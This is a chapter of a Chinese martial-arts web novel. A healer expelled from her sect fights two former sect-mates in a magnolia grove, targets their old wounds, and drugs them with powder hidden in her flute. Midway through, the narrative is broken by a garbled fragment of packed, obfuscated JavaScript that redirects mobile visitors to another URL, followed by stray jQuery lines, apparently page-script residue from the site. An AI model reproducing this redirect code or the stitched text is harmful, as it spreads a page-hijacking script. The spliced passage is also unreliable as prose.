16. 玉兰林飞花结阵

    第十六章劫飞花变玉栖兰


    青归玉站起来,看向走来的两位昔日同门。


    这附近本来多玉兰树林,那玉兰又以白色为主,白渡口因此得名。近几年渡口凋敝了些,玉兰树反而生的更多,又间或杂了些红色,在这暮春时节,香气扑鼻。


    她砍断一些玉兰树,将树干横七竖八的倒在地下。学着当年药庐里沈镌声的阵法,排了几排。


    掉落下来的花朵花瓣,在地上覆了一层不太均匀的红白,远远看来,像是有点点流霞侵雪。


    正午太阳照下来,香味蒸腾得满地馥郁。


    青衫女郎这样独自立在这乱阵中央,向来的两人行了一礼,


    “李师兄,”她对那穿着长袍的中年男子说,又对着那鹅黄短衣的女子道,“莫师姐。”


    那中年男子使一柄铁尺,名叫李归乘,乃是药王谷执法堂大弟子。


    他面色冷峻,看着她,略带了点讽意,


    “青归玉,当年谷中原本要断你双手双指,逐出师门,”他将铁尺向她点了点,


    “后来念你孤女,才改为挑断筋脉,换得十指俱全,”


    他回身向那黄衣女子,轻蔑地笑了一声,


    “你且看看她现在双手,岂不是好端端地?”


    穿黄衣的女弟子莫归笙,同属执法堂门下,在谷中倒是素来与李归乘不睦,反向他讥道,


    “当日青师妹双脉俱断,李师兄不是也曾亲眼查验过?”


    她虽然如此说,但转向青归玉时,眼神也自充满狐疑。


    李归乘被她这样一刺,当即生了怒气,


    “当年查验者可不止我一人。执法、药堂二位长老也曾亲眼看过,双手双腕皆是死脉,”


    他铁尺直指向她,厉声道,


    “如今江湖上传言纷纷,又是情蛊妖女,又是金针杀人。青归玉,到底是怎么回事?”


    青归玉低头思考了一下,双指指向右肩,运起内力,右侧衣袖如同被利刃裁开一般,露出了整个手臂。


    她肘腋之处赫然一道长长疤痕,宽约寸余,蜿蜒而上,直达肩后。


    这伤痕明显是旧日所受,极深极重,此时看来,那疤痕依然狰狞可怖,仿佛一条蜈蚣般趴在那里。


    “行刑那日,我手脉并未完全断绝,只是提前一天,自上端将经脉截断,”


    她点了点头,继续说,


    “经脉自上向下而行,师兄验看时,手腕处自然便是死脉,”仿佛谈论的是别人的陈年旧事,她将袖口掩起,接着补道,


    “肩臂处经脉较为粗显,我想这样更容易接续一些。”


    李,莫二人都深吸了一口气,莫归笙更是十分惊疑,“如此说来,你竟是自行从上端挑断经脉,瞒过师长查验,后来自行将筋脉续上了?”


    “用了一些手段,”青归玉笑道,横起翠竹笛,“我这双手还要救人,不能废。”


    “好,好。当真够狠。”李归乘铁尺抬起,四面看了看这玉兰树林,“瞒骗师长。我看你也不像情愿回谷领罚的样子,”


    他转向旁边抱着无妄剑站立的陆归衍,讽道,


    “陆师弟与她旧日情谊,此刻不是要碍着执法堂行事罢?”


    “难道你也中了那情蛊不成?”


    白衣青年看了一眼青归玉,将无妄剑还佩腰间,手按剑柄,


    “两不相帮。”陆归衍平静地说道。长剑一叩,音声清越。


    他手按长剑在玉兰阵外缓缓踱步,目光却紧紧盯了过来。


    青归玉警惕地向那二人弓一弓身,行了个半礼。当下运起内功,翠色竹笛在身前横封,作一个“盈门雪”的起手式,守以玉门拥雪之势,同时指间扣住三枚金针。


    那身边玉兰落花,此时颇有那几片落在她身上怀中,倒真像是点点雪片。


    见她显然是非要动手不可,李归乘手中铁尺一振,对她冷笑,“谷中弃徒,下蛊妖女,也配用药王谷武功?”


    青归玉叹了一声,心想同门多年,她会不会用蛊,这李师兄分明清楚的很。沈镌声嫁祸在她头上的案子是真是假还则罢了,泼在人心里的脏水是去不掉了。


    她咬了咬牙,心里想着此番必要将沈镌声这阵法物尽其用,她方才能算是堪堪够本。当下手中竹笛振动,听雨步循着七年前那少年的指教,自生门转惊门。


    李归乘手执铁尺,破空而来,她就势仰转,掠步拟如残荷逐风,那铁尺横扫,尺风激荡,升起满地赤白落花翻卷如浪。


    突然莫归笙掌间金针擦着她颊侧掠过。


    青归玉竹笛一转,如旋碧轮,卷起半幅落花。虽然化解掌力,却被李归乘的铁尺锁住退路。


    她一击即走,袖中金针自刁钻角度打向莫归笙膝侧阳陵穴,那是多年前莫归笙为练绝脉手,强行以气冲关时留下的旧伤。


    继而竹笛点上震位玉兰根,借势用力,听雨步法如踏涟漪,手秉三枚金针,又取她气海、关元二穴。


    莫归笙急退数步,后背撞上玉兰树伤门阵眼,枝桠交叠如网,飞花纷繁而下,竟将她困在原地。


    青归玉踏着玉兰树枝桠凌空跃起,依着当年记忆里少年的指点,引过李归乘横扫的铁尺。


    那尺砸在树上,震得玉兰花瓣纷纷飘落,如雨一般,阵中馨香满布。


    正趁着这飞花漫漫,纷迷视线之时,她将竹笛往口中一衔,花影闪动间双手如疾拍琵琶,十二枚金针分击二人手足要穴。


    李归乘挡下大半,却仍有两针穿透他左臂曲垣穴附近旧伤。


    青归玉转一转眼珠,拿下竹笛,笑道,“李师兄,昔年剿匪所受,毒箭旧疾还没全好?”


    多年前执法堂受命剿匪时,正是青归玉在此穴位为他拔除毒箭。


    “青归玉!好阴狠的心思!”李归乘又惊又怒,铁尺脱手,掷向她的面门。


    她却不闪避,脚步一转,踢上离位兰树。那树应声倾轧,枝干正撞偏铁尺轨迹。


    满树白玉兰轰然倾覆,又有纷纷花雨落了下来。


    落花飘荡之中,青归玉趁机踏坤位突进,竹笛作剑,直点莫归笙膻中穴——当年莫归笙在此处中过塞外寒掌,每逢阴雨便气滞难行。


    她来势凌厉,激起风来,裹动地下残红,口中又笑道,


    “莫师姐当年丹田隐患又如何了?”


    她的武功,万万不及李归乘、莫归笙二人中的任何一个。


    但她自少年起在便在谷中医术上崭露头角,堪称翘楚。


    执法堂弟子领命出门,多有伤损,皆由她一手医治。


    谷中弟子的经脉穴道,她早已了然于胸。包括李归乘、莫归笙在内,何人肢体有旧伤,何处运脉滞涩,她都十分熟悉。


    如数十指,如观掌纹。


    此刻以一敌二,她觑准二人破绽,攻其不得不救之处。再借着那少年的阵法奇巧,一时之间,居然也斗得个有来有回。


    35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319295|167402||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >她此时并不想赢,因此也不至于一时就败。


    三人频繁过招,衣裾翻飞,阵中那些玉兰飞花竟然越打越多,莫归笙斜眼看去,见陆归衍白衣执剑,沿着玉兰阵外缓缓踱步。


    他如此掠阵,手按剑鞘,自然前行,白衣翻卷如绝崖明雪摇光。


    无妄剑剑尖斜斜指向地下,内力激荡,那阵中边沿飞散出去的落花,又被引回阵中。


    适逢正午,阳光裹挟着满地玉兰幽香,如潮水般压下来,香味熏得令人头痛。


    青归玉毕竟内力平平,手筋受损,此刻借着天机劫阵法巧妙,笛尖专打旧伤隐穴,步法暗踏上经脉走向,即使如此,终于也有些不支。


    她身上衣襟,已染溅起些许斑驳血痕。气息引不起来,竹笛便使得有些散乱。忽地发丝被莫归笙掌风削下一缕,她咬着牙,心里算着数。


    “二十七。”


    终于是咬到唇角溢血,听雨步慢了半拍,左肩被尺风扫中,她踉跄撞向阵眼玉兰树。


    青归玉的后背重重撞在玉兰树干上,震得满树繁花簌簌而落。李归乘的铁尺压在她颈间,尺头压破皮肤渗出细细血珠。


    她将头向后一仰,发丝飘落。


    “三十。”青归玉放下竹笛,扫了一眼对面,那两人也停下手来。


    她抬起袖子,擦了擦嘴角上的血迹。


    这一刻,那四周玉兰花的馨香突然变得诡异起来。


    “软骨香!”李归乘怒喝,持尺的右臂开始麻痹,莫归笙慌乱地将手望脸上一抹,


    “哪里来的!”


    青归玉从尺下转出自己的脖子,揉了两揉,把那翠色竹笛一抬。


    竹笛的笛孔深幽,原来被她藏了些药粉在内。三人近身缠斗,笛中药雾随动倾洒。这正午阳光正盛,再加上运功行气,最利挥发。


    举凡天下花树,玉兰最香。借着满阵玉兰芬芳,这些软骨药雾气味,竟然被她瞒了过去。


    “好了。”见那两人依次倒下,她手执竹笛笛尾,向前警觉地走了两步,抖了一抖衣衫,拂去身上的落花。


    这次的局,终于没有按金声公子拟就的道路而行。


    “现下我们可以谈一谈,情蛊之事。”


    听见她提起情蛊,倒在地上的两人对视一眼,莫归笙叹了口气,李归乘扛着那软骨香的药力,勉强撑起上身。


    “药王谷弃徒。蛊毒妖女。给天机阁主种了情蛊。现下江湖中无人不知,还有什么好说的?”


    青归玉摇了摇头,蹲下身子,接着问他,


    “药王谷里,人人都信么?”


    李归乘转过头看一看旁边站着的陆归衍,


    “陆师弟不是早在这里?怎地你不知道?”李归乘横了一眼白衣青年,冷笑一声,“是了,他必是顺着你说……”


    莫归笙说道,“青师妹,如今大家信与不信,还有什么要紧?若你真会种蛊,也没什么奇怪。”她接着叹道,


    “就好似那金针秘术,谷中除你之外,也没旁人会使。”


    李归乘在旁边冷眼看着,听莫归笙说到“没旁人会使”,突然开了口,


    “事到如今,还叫什么青师妹?”


    他转过头,冷冷地直视着青归玉,


    “不过是谷里的阿青。”


    有琅玕声动。青归玉听见身后陆归延往前走了一步,便将竹笛往前一横,拦住他。


    阿青这名字确实是,十余年没有听过了。